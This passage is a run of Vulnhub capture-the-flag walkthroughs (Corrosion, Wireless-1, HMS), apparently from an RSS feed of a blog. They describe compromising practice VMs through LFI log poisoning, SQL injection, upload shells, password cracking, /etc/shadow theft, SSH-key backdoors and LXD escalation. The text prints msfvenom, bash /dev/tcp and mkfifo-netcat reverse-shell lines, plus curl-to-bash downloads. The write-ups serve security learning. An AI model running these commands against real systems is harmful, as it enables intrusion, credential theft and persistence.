two users “jaye” and “randy” and it looks like we got the user.txt file. It appears the Admin left us another note:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*XFiTX-AklbMFGpz6DZ8wdw.png" /><figcaption>Admin note for Randy</figcaption></figure><p>Well, the way he changed the home directory is we have some readable and executable permissions, but limited to writing. Let’s get a better shell and start looking around. <em>msfvenom -p linux/x64/shell_reverse_tcp LPORT=12346 LHOST=192.168.56.1 -f elf -o revShell64.elf. </em>Now that we got that additional shell, let’s upgrade this shell to a tty shell with python3. There is a file in the home directory called “randombase64.py” that is owned by root along side that note. So reading the file, it just encodes a message using the base64 class. Nothing to risky there. Let’s see where it imports that from: <em>find / -name base64.py -exec ls -al {} \; 2&gt;/dev/null</em> and it finds it and for some weird reason, we have write access to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*biUzQMqDRWm-_4NjEt4DCg.png" /><figcaption>Finding the library paths</figcaption></figure><p>Well, we can put a shell in there and see if it runs. Let’s just overwrite everything and put a python one-liner in there for a callback.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*jc4VeEyLZgllJvBtcwS7Wg.png" /><figcaption>Updating the b64encode function</figcaption></figure><p>Okay, now is it going to get called? Checking the crontab file, it doesn’t look like it. Is anyone calling this function (with higher permissions) so I can get an elevated shell? Lets try pspy (process spy) and see if what kind of calls are running. I’ll fire up a listener in case something gets called back eventually. Running processes include these, which are really done by tomcat and don’t get me anywhere.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*KrN5MzAJAYKA5Mv6OOuLjA.png" /><figcaption>running pspy</figcaption></figure><p>There are three users on the box, it is as simple as password reuse? Yup, jaye is reusing the password, now we have an ssh shell on the box. Immediately inside his home directory we see a directory called “Files” that has an executable with a sticky bit called “look”. Okay, let’s have a look. Looking at GTFO bins, it say we can read the entire contents of any file as root. Well, we can steal the /etc/shadow. I’ll pass those to John and keep enumerating. I can pull the /root/root.txt, but that is no fun. Okay, so john got us a password, perfect. Let’s see if we can get on as randy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*08i9Rr131d7Jjqbcoi_jlw.png" /><figcaption>logging in as randy</figcaption></figure><p>So it looks like that exploit we made earlier can now be executed as root via sudo! Since that was easy, let’s try a different approach too. Instead of getting a callback every time, let’s update the root user to allow us to ssh into the box? We can just use <em>ssh-keygen -f randyForRoot</em> to make a new public and private key for ssh. If we copy over the public key to root’s authorized keys, we can use it anytime we want.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*LGD3oSS_0vtUVTgwIlf1GA.png" /><figcaption>embedding a key</figcaption></figure><p>And yes we can. Okay, this box can be done. The possibilities are endless here to make some persistence slices.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=880d59055fb6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub Writeup of Corrosion]]></title>
            <link>https://artilleryred.medium.com/vulnhub-writeup-of-corrosion-7a5859ce84d8?source=rss-870a672817da------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a5859ce84d8</guid>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <dc:creator><![CDATA[ArtilleryRed]]></dc:creator>
            <pubDate>Fri, 03 Sep 2021 12:48:01 GMT</pubDate>
            <atom:updated>2021-09-03T12:48:01.636Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*YgC_WJCgIH5JYVfvKdPnmA.png" /><figcaption>Corrosion Vulnhub Box</figcaption></figure><p>Another vulnhub box in our learning adventure to apply a systematic approach to penetration testing. I’ll start off with <em>fping -aqg 192.168.4.0/24 </em>and see what all we got. VirtualBox says it gave a MAC address ending in “0C” so let’s do <em>arp -a</em> to see our neighbors. Looks like we got an IP, I’ll store it in a variable so I don’t forget it. I’ll start a quick nmap with <em>nmap -sC -sV -oN corrosion.nmap $IP</em> and we get this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*-kLT2WvMSg0h1FMmU9hyHg.png" /><figcaption>Top Scan for Corrosion with NMAP</figcaption></figure><p>Not much, but it’s a start. Both OpenSSH and Apache look fairly new, but a quick <em>searchsploit</em> to check validates we don’t have exploits available for these versions. I’ll run a full nmap on all the ports in the background while we go investigate port 80: <em>nmap -sC -sV -oN corrosion.nmap_full $IP -p- &amp;</em>. Running <em>curl $IP</em> gives the default apache page for ubuntu. I do a quick google search with “ubuntu apache 2.4.46” and the top results tells us that this is probably the “groovy” ubuntu release. Good to know for later if we decide to have to go down the exploitation road. With nothing on the landing page, time to start looking around. Nmap already checked for simple things like “robots.txt” and other things, so I’ll just start with directory-busting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*QOkbz6jjM-jUCYjXYesO4Q.png" /><figcaption>Digging into the website</figcaption></figure><p>Well, we found a tasks directory that has a open web directory with “tasks_todo.txt” in it. Curling it with <em>curl $IP/tasks/tasks_todo.txt</em> gives a few tasks that need to be done:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/327/1*LZSek_uN-Urf4jVqAM517g.png" /><figcaption>The leaked todo list</figcaption></figure><p>Well we didn’t see port 7672 open (the full nmap scan came back with no new results), so #2 hasn’t gotten done yet. I assume that there will be some way to see the auth log of the webpage. Got to keep digging to find that. Since tasks didn’t get us any further, we probably need more enumeration. Since we ran the medium list, might was well run the large on it and see if we get more hits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lhQcXQ_FGglzUTlvrtAKJA.png" /><figcaption>Using a larger wordlist</figcaption></figure><p>Okay, more stuff revealed. Looks like we got some sites to visit. The index of blog-post is an html file with an image.jpg and a user named “randy”. Okay, but still not too interesting yet. It appears that the image is loaded from the same directory, but we didn’t find it in our directory busting. We may need to do some file busting if we don’t get anywhere after looking at the rest of the options. <em>uploads</em> is a redirection back to the root page. <em>archives</em> is another open directory that is hosting a <em>randylogs.php</em> file and refers to a <em>/icons/</em> directory that it is pulling more gifs from. This really feels like some Content Management System (CMS) with directoriess like <em>uploads, archives, icons</em>. Downloading <em>randylogs.php</em> gives me an empty file back. That means it is executing on the server side and serving up nothing. Interesting. We may need to come back to that as well. I’m going to check for a CMS site by using a targeted wordlist for the site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lBjEa5oAIWgR8PYkl8TTVw.png" /><figcaption>Suspected Wordpress comes up false</figcaption></figure><p>That finds nothing. Hmmm, is this a CMS that was started and #3 from the text file above indicates it isn’t ready yet? Now what, well let’s look at our enumeration. I have #1 saying that auth logs have bad permissions and I have a php file that is returning nothing. By default, auth logs are used for logging into the system and are found <em>in /var/log/auth.log </em>Maybe that <em>randylogs.php</em> file takes a parameter to do something with a log file. However, I have no idea what that name would be. Let’s try <em>wfuzz</em> and see if we can find one! Since we know that the page returns nothing, we can filter results on zero. The first attempt found a winner!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rxa2RPy4lB2tvYVM7CgISw.png" /><figcaption>Fuzzing for an unknown parameter</figcaption></figure><p>86006 requests later, we got a winner! Looks like “file” is the parameter to use to get the local file inclusion. Let’s curl the page and see what we get now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K40ZtyeQo5OR0Iws2dr4hw.png" /><figcaption>Getting success</figcaption></figure><p>Lots of data here. But remember what auth.log does, it records login sessions for the system. Can we generate a login request? We don’t have a spot on port 80, but we can on 22 right? Let’s check and see the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aKyxZAG88cXIMZZZx7Pq1w.png" /><figcaption>Finding our user “me” in the log</figcaption></figure><p>Well hotdog, we have a live feed. I put “me” for the username and “asdf” as the password. I don’t see the password in this list, but I do see the username. Now this is being ran through a php file, so if I can put proper php code in this file, in theory it should execute. Well, let’s try the easiest thing possible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fSGJ2kxDisr7_M87THmnuw.png" /><figcaption>Testing for php injection</figcaption></figure><p>Looky there. We have the user “Did I Make it in?” sitting there. Let’s run that again and try injecting some parameterization. Now be careful here because if you poison the log with something that causes an error state, then you are going to break your LFI. If you do, you’ll have to reset the box to a pristine condition to try again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*9JapnDZ445TKl0MDTkLkEw.png" /><figcaption>Injecting the php code</figcaption></figure><p>I’ll just do it once and quit so we don’t have a bunch in there. Now to test it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RghWMHwwygt_A66S6tUsbw.png" /><figcaption>Validating command execution</figcaption></figure><p>Winner! Alright. Now to craft me a shell so I can use that instead of using this interface. I’ll start with a simple bash shell and see if that works. Since the spaces are going to kill me, I’ll use <em>urlencode “bash -c ‘bash -i &gt;&amp; /dev/tcp/192.168.4.26/12345 0&gt;&amp;1’” </em>to get my string</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PJTXZoAMd8ResjYp1iPEGA.png" /><figcaption>Getting a shell on the first attempt</figcaption></figure><p>Alright, first attempt is a winner! Just checking the contents of <em>randylogs.php</em>, that is a classic case of what NOT to do for file inclusion. So as we thought, he never finished setting up the site, there was nothing else for us to find on the webpages. As we expect, randy is a user on the box, but that is the only user in the home directory. Doing a quick <em>grep bash /etc/passwd</em> we see that only root and randy have a bash login shell. We can enumerate manually or use a tool, I’m calling in a tool! Let’s get linpeas on here and see what all we got. Start me a web-hosting with “python3 -m updog”. After trying <em>curl</em>, I used <em>wget</em> to get the file and run it. One of the things that stands out is the backups directory has a file. Let’s go check it out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*YLU6CFe19ke_ANHpcEo3LA.png" /><figcaption>Found a juicy file</figcaption></figure><p>That looks really juicy like something I could use! So I attempt to extract but it wants passwords. Rats. <em>john</em> isn’t installed on the box, so let’s bring it back to our house and play with it there. Using updog, I can if I had <em>curl</em> which this box doesn’t! It has netcat, so we can transfer that way: <em>nc -lvnp 1111 &gt; user_backup.zip</em> and on the victim <em>nc 192.168.4.45 1111 &lt; user_backup.zip</em>. Now I have the file on my box, let’s see what john can do. First we have to make it a john format with <em>zip2john user_backup.zip &gt; crack_backup.hash</em>. Then pass to <em>john — wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt crack_backup.hash</em> and it takes less than a second. Extracting it out with <em>unzip user_backup.zip</em> and providing the password gives me four files. And since I got both a password and a rsa key, I’ll just try ssh which works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OZ2sKioe4YhsNdNRQJAjMw.png" /><figcaption>Checking for the low-hanging fruit, sudo for the win</figcaption></figure><p>So that is weird. We have a file that we can run as sudo, but it is current an executable file in that directory. Can it be this easy?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*SwF9TW8Q-YOQ7qQTnNaS_Q.png" /><figcaption>Let’s try an easy approach</figcaption></figure><p>Yup, that easy. We just changed the file to be a bash shell and when it ran as root we were a root shell. Craziness. See you all on the next box.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a5859ce84d8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wireless-1: Vulnhub Writeup]]></title>
            <link>https://artilleryred.medium.com/wireless-1-vulnhub-writeup-7ff1b33aebf9?source=rss-870a672817da------2</link>
            <guid isPermaLink="false">https://medium.com/p/7ff1b33aebf9</guid>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <dc:creator><![CDATA[ArtilleryRed]]></dc:creator>
            <pubDate>Thu, 26 Aug 2021 23:42:18 GMT</pubDate>
            <atom:updated>2021-08-26T23:42:18.555Z</atom:updated>
            <content:encoded><![CDATA[<p>A vulnhub box that is available for practice that contains quite a few enumeration steps to get code execution on the box. It highlights the importance of enumeration and continuing the process to explore, test, and have a process. This box is VERY finicky and took a few boots in order for it to get an IP address. Not sure why it struggled to use DHCP to pull the IP address and what made it work, but once it came up I went after it! Let’s get it started:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*N1CujiaHyR_kWCrdtLx0lw.png" /><figcaption>Initial Footprinting</figcaption></figure><p>So we got back two ports: 22 and 80. I’ll run a full-scan in the background while we enumerate these ports. Doing a <em>curl — head $IP</em> indicates it is an Apache/2.4.41 server. <em>curl $IP</em> shows us it is the default ubuntu server. Not much here. Since this is our only vector at the moment, I’ll start with some directory busting. Since we are starting blind, we can start with a default list: <em>gobuster dir -u $IP -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt</em> and see what it finds. Unfortunately if identifies nothing. Okay, is that nmap scan done? It is and we found some none-standard ports of <em>8000</em> and <em>8080</em>. Let’s investigate those. If I <em>curl $IP:8000</em> it gives a page for “VOIP” services, a login option, a set of “testimonals” that could be potential users, and an email address for “jinmori@voip.in”. So I captured some potential users, let’s check out the login page with <em>curl $IP:8000/login</em>. Simple login page with a good section of CSS that doesn’t help us. At the bottom, it shows it loads a <em>login.js</em> file. Got to capture that with <em>curl $IP:8000/static/js/login.js</em> and it gives a javascript command of “atob.” Not familiar with that, but I say we run it and see what happens. Easiest way I know of is to use the “Developer Tab” in the browser and just run it. Navigate to the login page and look at the Web-Developer tools and select Console. Since this page already loads it, it is in memory waiting for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*R_z1nuoymOcGPADDzIrxaQ.png" /><figcaption>atob string being loaded</figcaption></figure><p>Interesting. It apparently has a set of js commands in quotes that are then used somewhere on the page or passed to another one. Looking at the code, there is a bit of obfuscation going on here. Let’s take it out of quotes and run each line and see what “p” is at the end of all these obfuscation. There is a problem trying to run the line “var a = string[_0xb5c3[2]](0);” That isn’t built-in syntax for javascript. So this file doesn’t run by itself, but I don’t see any other downloads for this page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*js5z77w-GdwVTiyN4Ha3MA.png" /><figcaption>Files downloaded by the page</figcaption></figure><p>Let’s go back a page and see what gets downloaded from the root page before we are forwarded to this one:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*dZlf8CgvJcc3ZDcLDKFeTg.png" /><figcaption>Root page downloads</figcaption></figure><p>Well now there are a few more. I bet one of these has the dependencies. Looking at all.js, there are a few things needed: jquery v1.12.4 and bootstrap v3.3.7 which appear to be condensed in this file. Before we start building our own application here to extract the code, let’s take a step back. Okay, so we have what we think we need, we need to go to the command-line or an on-line JS executor. Let’s just put this in the web console and work through it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*YRk0MA79X1gBgUUCZiGEUA.png" /><figcaption>Code execution break-down</figcaption></figure><p>So there is no built-in function to convert hex to string in javascript. That’s probably what the bootstrap or jquery does. We can either try to include it or write it ourselves. Seems pretty easy to write, so I’ll just write it myself!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/419/1*p-X84LPBvyEnUh6g9jprwA.png" /><figcaption>Converting the hex to a character</figcaption></figure><p>Okay, so now we can run the code by swapping all the “string” converstions to this function call. By running the code, it appears ‘u’ is <em>jinmori</em>. That’s probably a username. Now let’s see what the rest is. “var string=_0xb5c3[2]” is calling a character code function. It is taking that index and putting together a password for variable “p”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*QI7IgXKYUXIZtMshP1kKtQ.png" /><figcaption>String de-obfuscation</figcaption></figure><p>Okay, so we have a username and a password. Another example of folks thinking the are using encoding and obfuscation in lieu of encryption. Let’s see if they work. It does! We are on. Cool, let’s see what we got around the webpage. Admin looks juicy, but it allows me to add charts and users. That gives us plenty of users, so let’s add that to our username list. Clicking on the “VOIP Logs”, it gives a bunch of SMS messages. Let’s save those too. Not much else on here. what are these SMSs? Let’s see if we can decode them. As it happens, when I search for “python sms decoder” I find a library “smspdudecoder” that looks super simple. Let’s give it a shot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*Gcq6SfEP2iOm_BChc4wp3A.png" /><figcaption>SMS Decoding</figcaption></figure><p>Well, it doesn’t fully extract everything, but we did get two points of information: there is a virtual host of “wireless.com” and a testing port on port 8080. Cool beans. Let’s add that to our hosts file and see what that has in store.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*uHPAKqXFeW7vMuRj0mPYHw.png" /><figcaption>New virtual host</figcaption></figure><p>Well, sure isn’t much on there but we know it has something. Let’s try to do some directory busting with feroxbuster. Well, nothing there. Maybe port 80 does virtual host routing and we should check that: <em>curl $URL</em> and that gives us a new page and not the default page we got before. It shows we got a “CMS Made Simple” page and a version at the bottom:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*-rIff06uRfSb1F_RVm3R8g.png" /><figcaption>CMS Versioning</figcaption></figure><p>It’s been around since 2004, so maybe it has some exploits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*5atdAtFt54gKaadmLabM7g.png" /><figcaption>CMS Exploits</figcaption></figure><p>And there is one specifically for this version! Let’s open it up and try it out. Eh, it is written in python2 and not in python3 format. Let’s convert it with <em>2to3–2.7 -w 46635.py</em> and we now have a python3 version. Try running it again and it tells us we just need to pass the url: <em>python3 46635.py -u </em><a href="http://$url/"><em>http://$URL</em></a>. It chugs along and finds the salt, username, email, and password. Passing the password to <em>hash-identifer</em> says that it is md5 hash. Okay, we have the password and the salt and we could give it to john. However, this script appears to have a built-in cracker if we let it. Why not let it? Letting it run again with a wordlist we get a password back. After it gets to the cracking part, it gives us a “utf-8” decode problem. Well, let’s look at the source code and line 56 shows how the md5 hash works. Let’s just pass it to john and see what happens:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*O1qNWD1lLHZF8T7_7GRV8A.png" /><figcaption>Letting john do our work for us</figcaption></figure><p>Almost cracks it instantly. Okay, now we need some code execution. After searching around, it appears that under “User Defined Tags” we can get code execution. I attempted to put in a bash reverse shell, but it didn’t send anything back. So going down my reverse shell options, I’ll try the <em>nc -e</em> option and that fails too. I’ll try the fifo option and that one works! <em>echo system(“rm /tmp/arty;mkfifo /tmp/arty;cat /tmp/arty|/bin/sh -i 2&gt;&amp;1|nc 192.168.56.101 12345”);</em></p><p>Okay, now we have a shell. That was one heck of an adventure but we are on as the www-data shell. I’ll just run linpeas have it get started with <em>curl 192.168.56.101:8000/linpeas.sh | bash</em> and let that run. After it completes, I go back to see what looks interesting. Apparently <em>coherer</em> has a bunch of permissions that we would want to be. He only has two files listed in his home directory that we can see so not much there. Looking at the processes running, it shows port 8080 running but won’t show a PID which means it running as a different user. We found the playsms and cmsms in the web directory and we got in through cmsms while the VOIP page was on playsms. We still haven’t seen port 8080. Doing a <em>cat /etc/hosts</em> we see there is <em>wireless.com</em> that is different than <em>VOIP</em>. There isn’t anything else in the /var/www/html directory, so something else is running it. Maybe this is running as the coherer user? Run <em>ps -elf | grep coherer</em> gives me nothing. Let me save this linpeas output with <em>curl -F “path=.” -F “file=@peas.output” 192.168.56.101:9090/upload”</em> and let’s to explore this other page. So going back to the webpage, we got nothing. Even running <em>whatweb $URL:8080</em> gives out nothing juicy. Let’s attempt to gobuster it. <em>gobuster dir -u </em><a href="http://$url/"><em>http://$URL</em></a><em> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100</em>. Returns absolutely nothing. If we got nothing on the directory side, is there something additional on the subdomain side? <em>gobuster vhost -u </em><a href="http://$url/"><em>http://$URL</em></a><em> — wordlist=subdomains-top1million-110000.txt</em> and it instantly finds a <em>testing.wireless.com</em>. Let’s add that to our /etc/hosts file and navigate to that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*MrN78awcd71sTiZTV8vWLA.png" /><figcaption>Another login portal</figcaption></figure><p>Well we have a username/password, let’s see if it works. It does and gives us a weird box. Typing anything in the box it gives us some options. So I follow it through with “Tools -&gt; Aircrack-ng” and runs through some wireless options and then provides a “WPA-Capture.pcap” file. Well if it ran aircrack-ng (which more likely was airodump-ng but anyway), gave us a wpa-capture and it has a handshake in it, why not try to crack it? I’ll try old-faithful with rockyou and see where it goes: <em>aircrack-ng WPA-Capture.pcap rockyou.txt</em> and a little while later, nothing! I try a few different password lists from <em>seclists</em> and finally got it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*8FZdFe1MTzb0neZSytbUqQ.png" /><figcaption>Using the handshake to crack the password</figcaption></figure><p>This is a good reminder that just because you give it one wordlist and the result isn’t in there that doesn’t mean it can’t crack it. It just means the wordlist you gave it didn’t have it in there. Understanding your wordlists is very important: shout out to SecLists! Okay, so this was for a network called “coherer” which is the same as the user name. Can we use this to get on the box?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/313/1*qxsbq2CRVxCqez6_8Vo2Qg.png" /><figcaption>ssh login</figcaption></figure><p>Holy cow what an adventure! We finally made it on the box as a low-priv user. Well we already ran the linpeas and know he’s in some good groups. He is in <em>sudo</em> but we don’t have sudo rights. He’s also in <em>lxd</em>. I’ll run <em>lxd list</em> and see that there aren’t any images, but it tells me to run <em>lxd init</em>. I do that and I’m ready to go. I try the example of <em>lxd launch ubuntu:18.04</em> and it says it cannot reach the internet. Of course, so we need to download an image and pass it to it. I’ve done this before, so I’ll go to my trusty page: <a href="https://github.com/initstring/lxd_root">initstring/lxd_root: Linux privilege escalation via LXD (github.com)</a> and roll through that.</p><p><em>git clone </em><a href="https://github.com/saghul/lxd-alpine-builder"><em>https://github.com/saghul/lxd-alpine-builder</em></a></p><p><em>cd lxd-alpine-builder/</em></p><p><em>sudo ./build-alpine</em></p><p>Now I have the tar, let’s move it over <em>scp lxd-alpine-builder/alpine-v3.14-x86_64–20210819_2140.tar.gz coherer@192.168.56.103:/tmp</em>.</p><ol><li><em>lxc image import /tmp/alpine-v3.14-x86_64–20210819_2140.tar.gz — alias myimage</em></li></ol><p>2. <em>lxd init myimage mycontainer -c security.privileged=true</em></p><p>3. <em>lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true</em></p><p>4. <em>lxc start mycontainer</em></p><p>5. <em>lxc exec mycontainer /bin/sh</em></p><p>And that was it! What an adventure. If you missed it above, on line 3 we mounted the root of the host into the /mnt/root of the container. From here I could extract /etc/shadow, add a backdoor for ssh, and set up a cron job to give me a frequent callback. This box is a good example of “I’ve enumerated and I don’t see it, now what?”…which means you either already saw it and you don’t realize it or you didn’t enumerate enough. See you all next time!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7ff1b33aebf9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VulnHub Writeup: HMS]]></title>
            <link>https://artilleryred.medium.com/vulnhub-writeup-hms-5ce1ec3bb745?source=rss-870a672817da------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ce1ec3bb745</guid>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <dc:creator><![CDATA[ArtilleryRed]]></dc:creator>
            <pubDate>Wed, 18 Aug 2021 04:07:34 GMT</pubDate>
            <atom:updated>2021-08-18T04:07:34.512Z</atom:updated>
            <content:encoded><![CDATA[<p>The next box that our team has chosen was “HMS” off of vulnhub. This box helped the team realize the necessity of a repeatable process and leverage a tool in new ways to get elevated on the system. It starts off with this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*Rm1VJtPe9hQ0M371kggkvA.png" /><figcaption>VM Running</figcaption></figure><p>So no IP address show, so we need to find it. Since we used <em>netdiscover</em> on the last one, let’s try <em>fping</em> this time:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*oK4PWtyrbnrriogzSOGxBw.png" /><figcaption>fping results</figcaption></figure><p>Since my address is 101, that leaves two options. Looking at my VirtualBox config, 100 is the VM controller…guess it’s 102! Let’s check it out. We can start with <em>rustscan -a $IP — -Pn -sC -sV -oN hms.nmap</em>. Looks like we get two ports back: 21 and 22. While we check port 21, I’ll run a full scan for the rest of the ports. 22 is the standard <em>ssh</em> with nothing much to checkout. Let’s check ftp and it allows anonymous login. After login, we can see that there isn’t much for us anonymous users:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1SHitNDTtMULGrv9cG5PMg.png" /><figcaption>ftp output</figcaption></figure><p>Looking at the permissions, it appears that we can read but can’t write and there are no files or directories to peruse. Okay, so if 21 and 22 aren’t good, maybe we need to look for some non-standard ports. <em>rustscan -r 1–65535 -a $IP — -oN hms.nmap_full</em>. Ah, there is another port hiding out there: 7080. So let’s enumerate this guy manually and see what we get. Let’s do some banner grabbing and see what it returns:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zPgr9zzcpp0-0JEVOarJIA.png" /><figcaption>testing out the new port</figcaption></figure><p>So it’s a webpage. I just typed in “hello” and I got a response back. If I had a few hunches, I could enter those commands to see if it responds in a way we expect. For instance, if we want to check for a mail server, I may try “EHLO” and see if I get an SMTP response. In this case, I have it a bad command and it returns an HTTP protocol. Cool, let’s start checking it out with <em>curl $IP:7080</em> and we get a login page. Let’s navigate to it with a browser and we get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*p9SVoPbLk0y0GllwW0IiLw.png" /><figcaption>Default login page</figcaption></figure><p>So there is no register link from here and we don’t have credentials. Let’s check for sql errors on the sign-in with sqlmap. As I hate trying to craft the right request from the command line, I’ll use Burp Suite to intercept the request and save it to a file. I caught the item below. Do a right-click and “Copy to File” and I saved it as a “hms.req”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*BTp2bw3UlpCh1HzF4GrmfQ.png" /><figcaption>Burp Intercept for Login page</figcaption></figure><p>Now that I have that all captured, I’ll just pass that to <em>sqlmap -r hms.req</em> and I’ll let that run while we check out the source code of the page. Almost as soon as sqlmap starts, it indicates it found the database type already…looks like MySQL. Cool, I’ll just hit “Y” when it asks questions and we see that we got a blind sql attack available on the username field. Since I already started down the sql path, I’ll just keep using sqlmap to enumerate the database.</p><ul><li><em>sqlmap -r hms.req — dbms=mysql — current-db — current-user</em> → So we are root@localhost in the “clinic_db”</li><li><em>sqlmap -r hms.req — dbms=mysql -D clinic_db — tables</em> → so quite a few tables available, let’s start enumerating</li><li><em>sqlmap -r hms.req — dbms=mysql -D clinic_db -T user — dump</em> → Empty, rats</li><li><em>sqlmap -r hms.req — dbms=mysql -D clinic_db -T admin — dump</em> → Alright, that gives us one user (admin) with an email, password hash, and name.</li><li><em>sqlmap -r hms.req — dbms=mysql — os-shell</em> → unable to pull a shell automatically, rats but had to try.</li></ul><p>There are some more things that I can do with sqlmap like pull files from the system and write to databases. In my process, that isn’t my goal yet. I’m still on enumeration and what I really want is on to the webpage (bypass authentication). If I get stuck and that turns out to be unfruitful, I’ll come back to this and dig deeper. Keep in mind that if we are doing this in an actual test, the amount of data that is being logged in the server is going to set off an alert (or so it should anyway). Once you get on to the box, I challenge you to go look at the access.log and msql.log files and see all the content that is now in there. If I put my BlueTeam hat on, I see that dump in the database and know exactly what just happened here….anyways. Since I have a password hash, let’s see what kind of hash it is with <em>hash-identifier</em> and it says it is a “sha-256.” I’ll just pass it to john and see what he can do: <em>john — wordlist=rockyou.txt — format=Raw-sha256 hms.hash</em>. It ends quite quickly with no results. Weird, but maybe this password is salted or uses special encryption that we don’t know about. We don’t have the source code, but it has an open-source feel. Time for Google! Doing a Google search for “Health Management System” returns quite a few unfruitful results. Didn’t we see an author’s name? Let’s do a Google Dork for “Health Management System Nikhil Bhalearo password” and the very first link gives us the website with the source code. Easy, I download the source code and inside the login.php file I see this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*enxAUxP5pj3IZ_lsQ3XdpQ.png" /><figcaption>login.php secrets</figcaption></figure><p>Okay, let’s add this to our hashfile and now we have the hash and the salt. I need to put the hash in a file with the salt separated by a ‘$’. Let’s look through john and find the format. Doing <em>john — list=subformats</em> I don’t find a match, so let’s create our own. Read carefully above to see how the $pass is made. It hashes the password, concatenates the salt with this password hash, then hashes that! Okay, multi-step but we can tell <em>john </em>to do just that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kQAK8DAYlN079C9yo_UUMQ.png" /><figcaption>john custom format</figcaption></figure><p>And there we go, the password is <em>admin</em>…probably could have guessed that, but we followed the process. Navigate back to the page and we can login with the email and password. That brings us to another page with quite a few links in it. I’ll check the source code of the page and find a page that is commented out “settings.php”. That sounds like a page I’d like to visit, so navigating to it directly gives me a way to upload an image and what appears to be HTML tags in the Address. Let me try to upload a file as an image and see if that gets us there. I’ll upload a standard php-reverse-shell.php and it takes it! Since the source code tells me where the uploaded files are, I’ll just navigate to it after starting a listener <em>with nc -lvnp 12345</em> and voila: a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2oC7WdHGO6CBUR0MisBqhg.png" /><figcaption>service-level shell</figcaption></figure><p>As you can see, I always check what is in the path first before assuming I can just execute a command. Something is wrong with python3, so I tried python2 and got upgraded to a tty shell. Perfect. We are on as daemon right off the bat but looking in the home directory there are two other users I could lateral to: nivek and eren. I’ll start <em>updog</em> on my computer and get linpeas going with <em>curl 192.168.56.101:9090/linpeas.sh | bash | tee /tmp/linpeas.output</em>. Right off the bat it points out an older kernel version, but I’ll reserve those paths for last as I don’t want the have to reset the box if it fails. Interesting results:</p><ul><li>It appears Eren has a backup script that runs every 5 seconds. Soon as we get read/write access to that it should help.</li><li>gcc/g++ is available so we can compile exploits if we need.</li><li>Port 631 is actively listening on localhost</li><li>nivek is in quite a few good groups if we can impersonate him</li><li>bash has a SUID bit as eren</li><li>Not sure why I own the <em>at</em> command, but I do</li><li>Quite a few backup files.</li></ul><p>Okay, 